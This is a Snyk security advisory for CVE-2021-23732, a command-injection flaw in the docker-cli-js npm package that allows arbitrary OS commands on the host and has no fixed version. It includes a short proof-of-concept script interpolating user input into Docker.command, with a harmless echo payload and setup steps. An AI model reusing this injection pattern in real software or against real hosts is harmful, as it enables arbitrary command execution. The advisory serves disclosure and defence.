Arbitrary Code Execution Affecting docker-cli-js package, versions *
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-DOCKERCLIJS-1568516
- published 2 Nov 2021
- disclosed 23 Aug 2021
- credit Paul-Emmanuel Raoul of SkypLabs
Introduced: 23 Aug 2021
CVE-2021-23732 Open this link in a new tabHow to fix?
There is no fixed version for docker-cli-js
.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command
parameter of the Docker.command
method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.
Steps to Reproduce
Create a file named
exploit.js
with the following content:var dockerCLI = require('docker-cli-js'); var DockerOptions = dockerCLI.Options; var Docker = dockerCLI.Docker;
var docker = new Docker();
var userInput = "echo 'Hello from the container'";
docker.command(
exec container-test bash -c "${userInput}"
, function (err, data) { console.log('data = ', data); });In the same directory as
exploit.js
, runnpm install docker-cli-js
.Create a background Docker container named
container-test
:docker run --name container-test -d ubuntu sleep 1000
Run
exploit.js
:node exploit.js
.
You should see the outputs of both the container and host system.